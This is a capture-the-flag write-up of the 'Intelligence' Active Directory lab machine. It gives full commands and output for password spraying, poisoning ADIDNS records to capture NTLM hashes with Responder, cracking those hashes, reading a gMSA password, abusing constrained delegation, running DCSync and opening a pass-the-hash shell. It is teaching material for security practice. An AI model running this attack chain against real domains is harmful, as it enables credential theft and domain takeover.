Intelligence brings some cool enumeration and exploitation techniques to own Active Directory. It starts by enumerating a website and launching a brute-force attack to obtain several PDF files. One of these files contains a default password for a new account. By spraying this password across a list of usernames extracted from the PDFs’ metadata, a valid combination is discovered. In the file shares, there’s a scheduled PowerShell which sends a HTTP request to any subdomain under intelligence.htb
. By creating a new subdomain record, it is possible to capture the requester’s hash, which can be cracked offline. Bloodhound analysis reveals that the user has permission to read the password of a GMSA account, which has delegation rights to a service. These permissions can be exploited for privilege escalation to domain admin.
Skills Learned
- User enumeration via file metadata
- ADI DNS attack
- AD
Tools
- Nmap
- Impacket
- BloodHound
- dnstool.py
- gMSADumper.py
Reconnaissance
Nmap
Port scanning with nmap
reveals a bunch of ports open. Some interesting ports to dig into here are 445, 389, and 80.
→ kali@kali «intelligence» «10.10.14.34»
$ nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49423,49667,49691,49709,49714 -sC -sV -oA nmap/10-tcp-allport-script-intelligence 10.10.10.248
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-14 00:22 EDT
Nmap scan report for 10.10.10.248
Host is up (0.30s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Intelligence
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-07-14 11:22:29Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after: 2022-04-19T00:43:16
|_ssl-date: 2021-07-14T11:24:04+00:00; +7h00m03s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after: 2022-04-19T00:43:16
|_ssl-date: 2021-07-14T11:24:03+00:00; +7h00m02s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after: 2022-04-19T00:43:16
|_ssl-date: 2021-07-14T11:24:04+00:00; +7h00m03s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after: 2022-04-19T00:43:16
|_ssl-date: 2021-07-14T11:24:03+00:00; +7h00m02s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49423/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49691/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49709/tcp open msrpc Microsoft Windows RPC
49714/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 7h00m02s, deviation: 0s, median: 7h00m02s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2021-07-14T11:23:25
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 104.01 seconds
Nmap
results also reveal the some domain names. I’ll add these to my /etc/hosts
.
10.10.10.248 dc.intelligence.htb intelligence.htb
Enumeration
TCP 445 - SMB
When approaching an AD box, I would definitely check for anonymous login on SMB.
It’s allowed but nothing to see here.
→ kali@kali «intelligence» «10.10.14.34»
$ smbclient -N -L //10.10.10.248/
Anonymous login successful
Sharename Type Comment
--------- ---- -------
SMB1 disabled -- no workgroup available
TCP 389 - LDAP
On LDAP, I can only retrieve the naming contexts.
→ kali@kali «intelligence» «10.10.14.75»
$ ldapsearch -LLL -x -h 10.10.10.248 -s base namingContexts
dn:
namingContexts: DC=intelligence,DC=htb
namingContexts: CN=Configuration,DC=intelligence,DC=htb
namingContexts: CN=Schema,CN=Configuration,DC=intelligence,DC=htb
namingContexts: DC=DomainDnsZones,DC=intelligence,DC=htb
namingContexts: DC=ForestDnsZones,DC=intelligence,DC=htb
→ kali@kali «intelligence» «10.10.14.75»
$ ldapsearch -LLL -x -h 10.10.10.248 -b "dc=intelligence,dc=htb"
Operations error (1)
Additional information: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4563
TCP 80 - Website
The website hosted on this machine is a static site with no further information to dig in.
In the next section, there are two download buttons.
These buttons point to two PDF files. The file contents don’t seem to be important, but in each document’s properties there’s a potential username.
PDF 1: http://intelligence.htb/documents/2020-01-01-upload.pdf
PDF 2: http://intelligence.htb/documents/2020-01-01-upload.pdf
Foothold
Access as Tifanny.Molina
Grabbing more PDFs
Seeing the filename with pattern YYYY-MM-DD
eventually led me to think “Will incrementing the date give me another pdf?”.
The answer is yes, it does!
From here, I’ll write a script to brute-force the other PDFs with YYYY-MM-DD
timestamp pattern.
#!/bin/sh
for month in {01..12}
do
for day in {01..31}
do
wget -q "http://10.10.10.248/documents/2020-$month-$day-upload.pdf" 2>/dev/null
done
done
And here’s what I got.
Alternatively, I can use wget
with brace expansion:
$ wget -q http://10.10.10.248/documents/2020-{01..12}-{01..31}-upload.pdf
Harvest Username via PDF Metadata
It’s possible to harvest the creator name from the metadata to make a list of usernames.
→ kali@kali «loot» «10.10.14.75»
$ exiftool * | grep -i creator | cut -d ':' -f2 | cut -d ' ' -f2 | sort | uniq | tee ../users.list
Anita.Roberts
Brian.Baker
Brian.Morris
Daniel.Shelton
Danny.Matthews
Darryl.Harris
...[SNIP]...
The first idea to come with the username list is to perform AS-REP Roasting attack. I’ve tried it but no luck there.
PDF Content Examination
I discovered two non-Lorem Ipsum files by manually examining the PDF contents.
The first one is 2020-06-04-upload.pdf
, it contains the default password for new accounts in Intelligence Corp.
The second one is 2020-06-04-upload.pdf
, it contains some internal information that will be useful later.
Password Spray
From here, I can spray the password to the username list I have harvested earlier via rpcclient
. This attack returns one valid pair Tiffany.Molina:NewIntelligenceCorpUser9876
.
→ kali@kali «intelligence» «10.10.14.97»
$ rpcspray users.list password.list 10.10.10.248 | grep -v 'NT_STATUS_LOGON_FAILURE'
[*] Trying: 'Anita.Roberts:NewIntelligenceCorpUser9876'
[*] Trying: 'Brian.Baker:NewIntelligenceCorpUser9876'
[*] Trying: 'Brian.Morris:NewIntelligenceCorpUser9876'
...[SNIP]...
[*] Trying: 'Tiffany.Molina:NewIntelligenceCorpUser9876'
Account Name: Tiffany.Molina, Authority Name: intelligence
[*] Trying: 'Travis.Evans:NewIntelligenceCorpUser9876'
[*] Trying: 'Veronica.Patel:NewIntelligenceCorpUser9876'
[*] Trying: 'William.Lee:NewIntelligenceCorpUser9876'
SMB Revisit
Enumerating SMB with smbmap
now returns a list of shares that are accessible by Tifanny.
→ kali@kali «intelligence» «10.10.14.97»
$ smbmap -H 10.10.10.248 -u 'Tiffany.Molina' -p 'NewIntelligenceCorpUser9876'
[+] IP: 10.10.10.248:445 Name: dc.intelligence.htb
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
IT READ ONLY
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share
Users READ ONLY
It turns out I can read the flag from the Users
share.
→ kali@kali «intelligence» «10.10.14.75»
$ smbclient //intelligence.htb/Users -U 'Tiffany.Molina%NewIntelligenceCorpUser9876'
...[SNIP]...
smb: \> ls Tiffany.Molina\Desktop
. DR 0 Sun Apr 18 20:51:46 2021
.. DR 0 Sun Apr 18 20:51:46 2021
user.txt AR 34 Thu Jul 15 08:17:40 2021
3770367 blocks of size 4096. 1444029 blocks available
Privilege Escalation
Access as Ted.Graves
IT share
On the IT
share, there is a PowerShell script called downdetector.ps1
.
→ kali@kali «intelligence» «10.10.14.75»
$ smbclient //intelligence.htb/IT -U 'Tiffany.Molina%NewIntelligenceCorpUser9876'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Apr 18 20:50:55 2021
.. D 0 Sun Apr 18 20:50:55 2021
downdetector.ps1 A 1046 Sun Apr 18 20:50:55 2021
3770367 blocks of size 4096. 1444112 blocks available
smb: \> mget downdetector.ps1
Get file downdetector.ps1? y
getting file \downdetector.ps1 of size 1046 as downdetector.ps1 (0.6 KiloBytes/sec) (average 0.6 KiloBytes/sec)
According to the comment it is said that this script is used to check web server status.
# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}
If I re-query this line DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb
with a filter of name=web*
using ldapsearch
, it returns the following record.
→ kali@kali «intelligence» «10.10.14.75»
$ ldapsearch -LLL -D 'Tiffany.Molina@intelligence.htb' -w 'NewIntelligenceCorpUser9876' -x -h 10.10.10.248 -b "DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" "name=web*"
dn: DC=weboops,DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intell
igence,DC=htb
objectClass: top
objectClass: dnsNode
distinguishedName: DC=weboops,DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDns
Zones,DC=intelligence,DC=htb
instanceType: 4
whenCreated: 20210716071327.0Z
whenChanged: 20210716071707.0Z
uSNCreated: 102869
uSNChanged: 102872
showInAdvancedViewOnly: TRUE
name: weboops
objectGUID:: JGYq3NUoGU24w9fR4hg/6Q==
dnsRecord:: CAAAAAUAAABMAAAAAAAAAAAAAAAAAAAA9mT1lRJ61wE=
objectCategory: CN=Dns-Node,CN=Schema,CN=Configuration,DC=intelligence,DC=htb
dSCorePropagationData: 16010101000000.0Z
dNSTombstoned: TRUE
dc: weboops
So the script basically looks for DNS records that begin with web*
. For each discovered record, it performs an HTTP request to check if the record is active. And if the response code is not 200, the script sends an email notification to Ted Graves.
The key take away here is the wildcard (*
).
Stealing NTLMv2 Response via ADIDNS
According to this blog, in Active Directory (AD), it’s the default behavior that any authenticated user can create a new DNS record (ADIDNS). By knowing how the previous script works, it is possible to abuse this feature.
Here’s the concept: I attempted to create a DNS record (subdomain) under the intelligence.htb
that begins with ‘web*’. The purpose was to have the script encounter the record I created during its next execution. This way, it would trigger NTLM authentication as the Invoke-WebRequest
command was used with the -UseDefaultCredentials
flag.
A well-known security researcher, Dirk-jan, has developed a handy tool called dnstool.py
specifically designed for interacting with ADIDNS. This tool is included in the Krbrelayx
repository, so I’ll simply clone the repository onto my machine.
→ kali@kali «/opt» «10.10.14.75»
$ git clone https://github.com/dirkjanm/krbrelayx.git && cd krbrelayx
Cloning into 'krbrelayx'...
remote: Enumerating objects: 98, done.
remote: Total 98 (delta 0), reused 0 (delta 0), pack-reused 98
Receiving objects: 100% (98/98), 65.76 KiB | 426.00 KiB/s, done.
Resolving deltas: 100% (48/48), done.
Now I can use the tool to add a new ADIDNS record. This record points to my machine IP.
→ kali@kali «krbrelayx» «10.10.14.75» git:(master)
$ python3 dnstool.py -u intelligence.htb\\Tiffany.Molina -p 'NewIntelligenceCorpUser9876' -r 'web-iamf.intelligence.htb' -a add -d 10.10.14.75 10.10.10.248
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
/opt/krbrelayx/dnstool.py:241: DeprecationWarning: please use dns.resolver.Resolver.resolve() instead
res = dnsresolver.query(zone, 'SOA')
[-] Adding new record
[+] LDAP operation completed successfully
At the same time, I’ll also start the Responder. Shortly after it runs, the Ted.Graves hash appear.
→ kali@kali «krbrelayx» «10.10.14.75» git:(master)
$ sudo responder -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.0.6.0
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
...[SNIP]...
[+] Listening for events...
[HTTP] NTLMv2 Client : 10.10.10.248
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash : Ted.Graves::intelligence:4cca110e84677c33:3A689C04E699DF8F6E1B16A599576ABA:0101000000000000E700D4082B7AD7012AF2C454A91E32400000000002000800340039003100540001001E00570049004E002D00500032003300360049003800390058003100530046000400140034003900310054002E004C004F00430041004C0003003400570049004E002D00500032003300360049003800390058003100530046002E0034003900310054002E004C004F00430041004C000500140034003900310054002E004C004F00430041004C000800300030000000000000000000000000200000AF0854B4C9903CBE8251A0173036E36C4E1F4A5399C97563C3922EC707733A310A0010000000000000000000000000000000000009003C0048005400540050002F007700650062002D00690061006D0066002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000
Cracking the Hash
The hash can be cracked with hashcat
$ ./hashcat.exe -m 5600 hashes/intelligence-ted.graves.hash ../../rockyou.txt -O ✘ INT
...[SNIP]...
TED.GRAVES::intelligence:4cca110e84677c33:3a689c04e699df8f6e1b16a599576aba:..[SNIP]..:Mr.Teddy
Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: TED.GRAVES::intelligence:4cca110e84677c33:3a689c04e...000000
...[SNIP]...
The credentials are valid
→ kali@kali «intelligence» «10.10.14.75»
$ crackmapexec smb 10.10.10.248 -u 'Ted.Graves' -p 'Mr.Teddy'
SMB 10.10.10.248 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
Shell as Administrator
Enumeration with BloodHound
Even with user Ted.Graves
, I still have no shell access. From here, I’ll use BloodHound to explore more about the object relationships. I’ll use the Python ingestor.
→ kali@kali «BloodHound.py» «10.10.14.75» git:(master)
$ python3 bloodhound.py -c All -u 'Ted.Graves' -p 'Mr.Teddy' -d intelligence.htb -dc dc.intelligence.htb -ns 10.10.10.248
INFO: Found AD domain: intelligence.htb
INFO: Connecting to LDAP server: dc.intelligence.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc.intelligence.htb
INFO: Found 42 users
INFO: Found 54 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: svc_int.intelligence.htb
INFO: Querying computer: dc.intelligence.htb
INFO: Skipping enumeration for svc_int.intelligence.htb since it could not be resolved.
INFO: Done in 00M 21S
Using the pre-built analytics queries “Shortest Path from Owned Principal” reveals that user Ted.Graves
has readGMSAPassword
permission on a service account called SVC_INT
. And the service account has AllowedToDelegate
permission (constrained delegation) on the DC/Machine.
Read SVC_INIT Password
According to the help feature, readGMSAPassword
allows you to retrieve GMSA (Group Managed Service Account) password. I’ll also note that the password might be changed after some periods just like computer account (default 30 days).
The author of this box has already created a tool for abusing this permission: gMSADumper.py. Running it retuns the password of svc_int$
in the form of NT hash.
→ kali@kali «exploits» «10.10.14.75»
$ ./gMSADumper.py -u 'Ted.Graves' -p 'Mr.Teddy' -d intelligence.htb
Users or groups who can read password for svc_int$:
> DC$
> itsupport
svc_int$:::d64b83fe606e6d3005e20ce0ee932fe2
Since the password is managed by the DC, I don’t have to try to crack it.
Abusing Constrained Delegation -> Silver Ticket
This site explains what a constrained delegation is:
If you have compromised a user account or a computer (machine account) that has kerberos constrained delegation enabled, it’s possible to impersonate any domain user (including administrator) and authenticate to a service that the user account is trusted to delegate to.
In this case, the service account svc_int
can impersonate the domain admin and authenticate to WWW/DC.INTELLIGENCE.HTB
.
→ kali@kali «exploits» «10.10.14.75»
$ ldapsearch -LLL -D "Ted.Graves@intelligence.htb" -w "Mr.Teddy" -x -h 10.10.10.248 -b "CN=svc_int,CN=Managed ServiceDC=intelligence,DC=htb"
...[SNIP]...
msDS-AllowedToDelegateTo: WWW/dc.intelligence.htb
...[SNIP]...
With that, I can abuse this permission and perform Silver Ticket attack, I’ll use impacket-getST
tool, but the result says clock skew too great.
→ kali@kali «exploits» «10.10.14.75»
$ impacket-getST 'intelligence.htb/svc_int$' -spn 'WWW\dc.intelligence.htb' -hashes :d64b83fe606e6d3005e20ce0ee932fe2 -impersonate administrator
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Getting TGT for user
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
To resolve that, I’ll need to synchronize my machine time with the DC. This can be done with ntpdate
.
→ kali@kali «intelligence» «10.10.14.75»
$ sudo apt install ntpdate && sudo ntpdate 10.10.10.248
18 Jul 14:57:39 ntpdate[63324]: adjust time server 10.10.10.248 offset +0.001305 sec
On the next attempt, I have obtained the admin ticket (TGS).
→ kali@kali «intelligence» «10.10.14.75»
$ impacket-getST -spn 'WWW/dc.intelligence.htb' -impersonate administrator -hashes :d64b83fe606e6d3005e20ce0ee932fe2 -dc-ip 10.10.10.248 intelligence.htb/svc_int\$
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator.ccache
DCSync
Although the admin ticket was actually requested for WWW\dc.intelligence.htb
, it actually can be used for other service, like DRS (Directory Replication Service) for DCSync attack.
→ kali@kali «intelligence» «10.10.14.75»
$ export KRB5CCNAME=administrator.ccache && impacket-secretsdump -k -no-pass dc.intelligence.htb -just-dc-user administrator
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9075113fe16cf74f7c0f9b27e882dad3:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:75dcc603f2d2f7ab8bbd4c12c0c54ec804c7535f0f20e6129acc03ae544976d6
Administrator:aes128-cts-hmac-sha1-96:9091f2d145cb1a2ea31b4aca287c16b0
Administrator:des-cbc-md5:2362bc3191f23732
[*] Cleaning up...
Shell Access
With the administrator hash, I can use WinRM to get a shell access
→ kali@kali «intelligence» «10.10.14.75»
$ evil-winrm -i 10.10.10.248 -u 'administrator' -H '9075113fe16cf74f7c0f9b27e882dad3'
Evil-WinRM shell v2.4
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> hostname
dc
*Evil-WinRM* PS C:\Users\Administrator\Documents> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
IPv6 Address. . . . . . . . . . . : dead:beef::a57a:d94f:fa40:87e6
Link-local IPv6 Address . . . . . : fe80::a57a:d94f:fa40:87e6%6
IPv4 Address. . . . . . . . . . . : 10.10.10.248
Subnet Mask . . . . . . . . . . . : 255.255.254.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:271c%6
10.10.10.2